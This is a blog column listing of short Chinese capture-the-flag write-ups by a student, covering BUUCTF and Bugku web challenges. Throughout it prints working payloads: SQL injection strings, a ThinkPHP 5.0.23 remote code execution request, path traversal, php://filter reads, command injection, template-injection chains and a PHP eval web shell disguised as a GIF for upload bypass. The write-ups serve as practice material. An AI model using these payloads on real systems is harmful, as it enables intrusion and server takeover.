CTF题目
文章平均质量分 64
kuller_Yan
在读本科生
展开
-
2021-5-5 buu刷题记录
生活所迫,从头捡回来第一题:CTF-BUUCTF-[HCTF 2018]WarmUpphp代码审计题四个if判断 只有最后一个走得通,就是把第二个?进行2次url加密然后得到%253f 然后构造payload:file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg这样flag就出来了第二题:[极客大挑战 2019]EasySQL万能密码直接出第三题[强网杯 2019]随便注堆叠注入 很早之前写过的题了原创 2021-05-05 21:56:03 · 455 阅读 · 2 评论 -
[BJDCTF 2nd]old-hack_thinkphp漏洞
[BJDCTF 2nd]old-hack_thinkphp5漏洞进入页面提示是thinkphp,先构造一个报错然后看到版本为THINK_VERSION5.0.23然后百度查询漏洞:payload:_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls /POST提交尝试一下,发现可行,然后就cat /flag...原创 2020-10-23 12:31:12 · 241 阅读 · 0 评论 -
[MRCTF2020]Ez_bypass(PHP代码审计)
[MRCTF2020]Ez_bypass(PHP代码审计)访问页面,查看源代码有格式排好了的php代码:<?phpI put something in F12 for youinclude 'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; i原创 2020-10-22 21:07:05 · 342 阅读 · 0 评论 -
[BUUCTF 2018]Online Tool
[BUUCTF 2018]Online Tool这题PHP代码审计,先放源码:<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])) { highlight_file(__FILE__);} else { $host = $_GET['host'原创 2020-10-22 19:51:39 · 129 阅读 · 0 评论 -
[GYCTF2020]Blacklist
[GYCTF2020]Blacklist先打开url 题目名字黑名单:尝试正常注入流程发现有过滤提示set|prepare|alter|rename|select|update|delete|drop|insert|where看到界面和过滤信息感觉很像2019年强网杯一道题好像是叫随便注;我做题时先用报错注入爆除了库名supersqli1'or(extractvalue(1,concat(0x7e,database())))#后来尝试堆叠注入做题:-1';use supersqli;sh原创 2020-10-22 15:32:34 · 345 阅读 · 0 评论 -
buku---PHP代码审计—ereg正则%00截断
buku—PHP代码审计—ereg正则%00截断<?php$flag = "xxx";if (isset ($_GET['password'])){if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){echo 'You password must be alphanumeric';}else if (strlen($_GET['password']) < 8 && $_GET['passwo原创 2020-10-21 21:34:59 · 238 阅读 · 0 评论 -
bugku__PHP代码审计-十六进制与数字比较
bugku__PHP代码审计-十六进制与数字比较<?phperror_reporting(0);function noother_says_correct($temp){$flag = 'flag{test}';$one = ord('1'); //ord — 返回字符的 ASCII 码值$nine = ord('9'); //ord — 返回字符的 ASCII 码值$number = '3735929054';// Check all the input characters!f原创 2020-10-21 21:31:43 · 188 阅读 · 0 评论 -
bugku_PHP代码审计—md5加密相等绕过
bugku_PHP代码审计—md5加密相等绕过<?php$md51 = md5('QNKCDZO');$a = @$_GET['a'];$md52 = @md5($a);if(isset($a)){if ($a != 'QNKCDZO' && $md51 == $md52) {echo "flag{*}";} else {echo "false!!!";}}else{echo "please input a";}?>双等号比较绕过:QNKCDZO原创 2020-10-21 21:13:31 · 342 阅读 · 0 评论 -
bugku--PHP代码审计-sha()函数比较绕过
bugku–PHP代码审计-sha()函数比较绕过<?php$flag = "flag";if (isset($_GET['name']) and isset($_GET['password'])){var_dump($_GET['name']);echo "";var_dump($_GET['password']);var_dump(sha1($_GET['name']));var_dump(sha1($_GET['password']));if ($_GET['name']原创 2020-10-21 21:07:04 · 290 阅读 · 0 评论 -
弱类型整数大小比较绕过
弱类型整数大小比较绕过$temp = $_GET['password'];is_numeric($temp)?die("no numeric"):NULL;if($temp>1336){echo $flag;很多种方法可以做数组绕过,%00截断,添加字符绕过payload:?password[]=1?password=9999a?password=9999%00...原创 2020-10-21 21:01:37 · 278 阅读 · 0 评论 -
bugku——PHP代码审计——数组返回NULL绕过
bugku——PHP代码审计——数组返回NULL绕过<?php$flag = "flag";if (isset ($_GET['password'])) {if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)echo 'You password must be alphanumeric';else if (strpos ($_GET['password'], '--') !== FALSE)die('Flag: ' . $f原创 2020-10-21 20:56:04 · 214 阅读 · 0 评论 -
Bugku—PHP代码审计—md5函数
Bugku—PHP代码审计—md5函数<?phperror_reporting(0);$flag = 'flag{test}';if (isset($_GET['username']) and isset($_GET['password'])) {if ($_GET['username'] == $_GET['password'])print 'Your password can not be your username.';else if (md5($_GET['username'])原创 2020-10-21 20:51:20 · 382 阅读 · 0 评论 -
bugku---PHP代码审计--urldecode二次编码绕过
bugku—PHP代码审计–urldecode二次编码绕过<?phpif(eregi("hackerDJ",$_GET[id])) {echo("not allowed!");exit();}$_GET[id] = urldecode($_GET[id]);if($_GET[id] == "hackerDJ"){echo "Access granted!";echo "flag";}?>直接url二次编码;payload:?id=%2568ack原创 2020-10-21 20:40:44 · 235 阅读 · 0 评论 -
Bugku—PHP代码审计——strcmp比较字符串
Bugku—PHP代码审计——strcmp比较字符串<?php$flag = "flag{xxxxx}";if (isset($_GET['a'])) {if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。//比较两个字符串(区分大小写)die('Flag: '.$flag);elseprint 'No';}?>strcmp原创 2020-10-21 20:35:56 · 204 阅读 · 0 评论 -
BugKuCTF——PHP代码审计-extract变量覆盖
BugKuCTF——代码审计–extract变量覆盖<?php$flag='xxx';extract($_GET);if(isset($shiyan)){$content=trim(file_get_contents($flag));if($shiyan==$content){echo'flag{xxx}';}else{echo'Oh.no';}}?>漏洞:extract()函数在传入数值的时候把已有的的值替换掉,所以直接goujianpayload:?sh原创 2020-10-21 20:32:24 · 377 阅读 · 0 评论 -
[极客大挑战 2019]hardSQL
拿到题目直接模糊测试发现过滤的挺多:什么and,union,=,都过滤掉了然后看了下正常输入的页面回显之后尝试:报错注入1'or(extractvalue(1,concat(0x7e,database())))#得到库名:geek'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like("geek")))))#得到:表名H4rDsq1;'原创 2020-10-14 23:32:10 · 264 阅读 · 0 评论 -
[RoarCTF 2019]Easy Java
[RoarCTF 2019]Easy Java-----Kuller_Yan拿到题目,看到是登录框,习惯性sql注入半天。。啥也没有,help也没看懂。。没办法只能看wp了解到WEB-INF是通过找到web.xml文件,推断class文件的路径然后直接class文件,在通过反编译class文件,得到网站源码。然后就是抓包,GET改成POST访问WEB-INF得到flag路径路径访问,得到flag的base64编码解码得到flag...原创 2020-09-13 21:02:50 · 218 阅读 · 0 评论 -
[网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz----Kuller_Yan好久没写博客了,真是罪过啊!!今天WAXZ的师傅们去打线下了,太顶了,激起学习欲望,好好学习咯。这题PHP代码审计:反序列化问题<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content;原创 2020-09-13 19:08:42 · 259 阅读 · 0 评论 -
[极客大挑战 2019]Upload
[极客大挑战 2019]Uploadwp from Kuller_Yan一道很简单的文件上传漏洞:打开靶机看到很直观的页面让我们上传。随便上传一个一句话木马,发现看来type必须是图片,那我们构建一个phtml文件GIF89a<script language="php">eval($_POST['123']);</script>在上传的时候抓包,更改类型;image/jpeg然后盲猜url为/upload访问http://29f56e21-5b5a-4212-原创 2020-06-14 15:20:06 · 739 阅读 · 0 评论 -
[BJDCTF 2nd]fake google
[BJDCTF 2nd]fake googlewp from Kuller_Yan先打开靶机:测试是否存在ssti注入{{1+1}}进行查询{{''.__class__}}next{{''.__class__.__bases__}}next:{{''.__class__.__bases__[0].__subclasses__()}}找到第169个{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['原创 2020-06-13 17:01:02 · 350 阅读 · 0 评论 -
[极客大挑战 2019]BuyFlag
[极客大挑战 2019]BuyFlagwp from Kuller_Yan打开靶机,点击右上角菜单,payflag然后就发现跳转到pay.php查看源代码并且,页面提示先burp抓包:发现Cookie: user=0把user改为1;然后根据源代码的代码,post提交password=404%2500叫我们付钱。。怎么可能给呢,直接money=100000000太长了。。。科学计数法吧。搞定也可以这样...原创 2020-06-07 16:40:03 · 163 阅读 · 0 评论 -
[极客大挑战 2019]BabySQL
[极客大挑战 2019]BabySQLwp from Kuller_Yan打开靶机,熟悉的极客大挑战界面先尝试万能密码1' or 1=1 # 显示ERROER但是仔细观察报错语句,似乎没有看到or猜测后端使用replace()函数过滤,尝试双写or:1' oorr 1=1 #正常回显,看来我们猜测的不错。然后测试字段数:1' order by 3 #;ERROR ,尴尬,忘记了order里面也有or,而且by也被过滤了,所以双写:1' oorrder bbyy 3 #,回显正常,试下4:1'原创 2020-06-07 14:41:11 · 487 阅读 · 0 评论 -
[ACTF2020 新生赛]Exec
[ACTF2020 新生赛]Execwp from Kuller_Yan打开靶机,输入127.0.0.1尝试提交发现直接出现,无过滤。之间尝试管道符执行命令:127.0.0.1;cat /flag也没啥好说的,什么都没过滤就直接执行命令就好;常见管道符1、|(就是按位或),直接执行|后面的语句2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句3、&(就是按位与),&前面和后面命令都要执行,无论前面真假4、&&(就是逻辑原创 2020-06-06 20:52:25 · 674 阅读 · 0 评论 -
[ACTF2020 新生赛]Include
[ACTF2020 新生赛]Includewp from Kuller_Yan打开靶机发现一个超链接,点击之后出现一段话“Can you find out the flag?”查看源码注入,无果,抓包,无果仔细看url,发现有flag.php判断此题为PHP伪协议题目构建payload?file=php://filter/read=convert.base64-encode/resource=flag.php穿插知识点:php://filter 伪协议该伪协议读取源代码并进行ba原创 2020-06-06 19:45:05 · 2374 阅读 · 0 评论 -
[极客大挑战 2019]Http
[极客大挑战 2019]Httpwp from Kuller_Yan打开靶机,发现是个广告页面,查看源码发现Sercret.php访问之后,页面提示来源应该是’https://www.Sycsecret.com’简单,打开burp修改数据包就好。先抓包先使用referer,修改网页来源referer:https://www.Sycsecret.com提示,修改浏览器类型,使用User-AgentUser-Agent:Syclover browser花里胡哨的又让我们改成本地,继原创 2020-06-02 16:36:26 · 316 阅读 · 0 评论 -
[极客大挑战 2019]Knife
[极客大挑战 2019]Knifewp from Kuller_Yan一进来,页面很直接,暗示我们用菜刀(当然我用的蚁剑也是一样的),并且告诉我们密码是Syc。打开蚁剑,链接shell查看目录,发现flag,打开就好。原创 2020-06-02 16:15:12 · 1522 阅读 · 0 评论 -
[极客大挑战 2019]Secret File
[极客大挑战 2019]Secret Filewp from Kuller_Yan打开靶机 成功开启”大黑贼时代",查看源代码发现php,直接点击跳转发现一个“secret”按钮,点击告诉我们已经出现了,我们没看到,那么就自然抓包,在burp看,发现secr3t.php访问发现一段php代码并且告诉我们flag在flag.php,进行代码审计发现可以直接使用file伪协议,然后得到一段base64编码,解码就是flag。http://68049c7d-101d-46bc-8cb7-615551原创 2020-05-30 23:14:37 · 399 阅读 · 0 评论 -
[HCTF 2018]admin
[HCTF 2018]adminwp from Kuller_Yan又是一道签到题打开靶机 发现一个超链接,点击之后也没出现什么东西,就是个自己写的404,然后点击404也跳不出去查看源代码发现提醒然后仔细看下网页发现了一个菜单图标然后点击登录,用万能密码登录,直接拿到flag...原创 2020-05-30 22:21:41 · 505 阅读 · 0 评论 -
[极客大挑战 2019]Havefun
[极客大挑战 2019]Havefunwp from Kuller_Yan很没意思的一道题,打开靶机就是只猫,查看源代码发现一个注释就是解题关键,看完代码直接get提交cat=dog就出flag了http://b7755db2-8228-4f09-b5b5-7702078d2a02.node3.buuoj.cn/?cat=dog签到题,没啥好说的...原创 2020-05-30 22:13:39 · 306 阅读 · 0 评论 -
[RoarCTF 2019]Easy Calc
[RoarCTF 2019]Easy Calcwp from Kuller_Yanwaf和php的解码规则不同,waf不能上传字母,但是如果在前面加上空格,就可以进行绕过,然后再php解码的时候空格不影响。首先启动靶机,查看到页面,尝试sql注入无果,观看源代码,发现calc.php访问之后出现一段php代码可以看到黑名单过滤了一些字符,其中与本题相关的比较重要的就是过滤了‘/’但是我们可以用ASCII码的chr(47)代替。先使用scandir(chr(47))查询目录下所有文件num前面加原创 2020-05-30 22:02:11 · 226 阅读 · 0 评论 -
[极客大挑战 2019]LoveSQL
[极客大挑战 2019]LoveSQL-------wp from Kuller_yan先打开靶场 看看题目一看就和上一题 easysql 尝试万能钥匙1' or 1=1 #看起来像md5解密,但是解密失败,继续查询字段,admin' order by 3 #admin' order by 4 #到4的时候没有正常返回,然后用1' union select 1,2,3 #回显点为2,3;然后用1' union select 1,database(), version() #可以看到库名原创 2020-05-19 00:51:43 · 338 阅读 · 0 评论 -
[极客大挑战 2019]EasySQL
[极客大挑战 2019]EasySQL -------wp from Kuller_Yan一进页面,尝试随便提交,如图发现是get提交;尝试万能密码注入:得到flag原创 2020-05-18 17:52:21 · 191 阅读 · 0 评论 -
[SUCTF 2019]EasySQL
[SUCTF 2019]EasySQL_____ wp from Kuller_Yan原理:堆叠注入原理在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。原创 2020-05-18 02:36:30 · 759 阅读 · 0 评论 -
[强网杯 2019]随便注
[强网杯 2019]随便注 wp from Kuller_Yan原理:堆叠注入原理在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; D原创 2020-05-18 02:16:38 · 290 阅读 · 0 评论 -
[HCTF 2018] WarmUp
[HCTF 2018]WarmUpwp-------Kuller_Yan首先我们访问题目url 可以看到一个图片,查看源码之后可以发现source.php文件访问source.php可以看到一串代码,便可以确定,php代码审计,查看所给代码,分析出,一开始,给出白名单然后是一个判断,判断page中是否包含白名单,然后将page截取从0到‘?’ ,再进行一次白名单判断然后对page进行url加密,再进行白名单判断。所以构建paylodesource.php?file=source.php%2原创 2020-05-17 01:50:35 · 589 阅读 · 0 评论 -
攻防世界进阶区—Cat
抓住那只猫!!!!题目传送门,点击受害这题讲道理唯一描述“抓住那只猫”我是完全没有看懂的,而且这题讲道理有一定难度或不多说先进入题目网址:将道理,看到表单避免不了的要输入试一试先输入例子,loil.clud,没有反应尝试127.0.0.1,出现变化!欸嘿嘿,似乎有东西,那我们来尝试下系统命令执行规则来输入命令:command1 & command2 :先执行command...原创 2020-04-06 23:55:28 · 1154 阅读 · 0 评论 -
BugkuCTF-web-成绩单 writeup
记一次简单的SQL注入题目传送门,点击即走首先分析题目:进入题目网页就可以看到这个遇到表单,当然要填一填,看看有什么变化。于是我根据题目提示输入1。仔细观察可以发现输入1,并且返回后,出现了龙龙龙的成绩单以及四份数据。于是打开hackbar,post提交正常返回,加 ’ 测试一下啥也不是,再加个 #又正常了。那么基本可以认定是SQL注入无疑了。两种解题方法:1:手...原创 2020-03-26 23:52:27 · 447 阅读 · 0 评论 -
BugkuCTF-Web- flag在index里 80
CTF-【php://filter的利用】flag在index里 80题目链接:叮~传送门解题思路:首先,我们拿到题目,看到题:flag在index里。这时候便会意识到这是个很重要的提示。然后我们访问题目网站可以看到如下画面:叫我点击它,逆反心理作用下,忍住点击他的欲望,看了一眼源代码,啥也没有,就是个普通的超链接。点击之后出现如下画面:一脸懵,查看源码,无果,抓包,无果。此时陷入...原创 2020-03-24 23:58:44 · 482 阅读 · 1 评论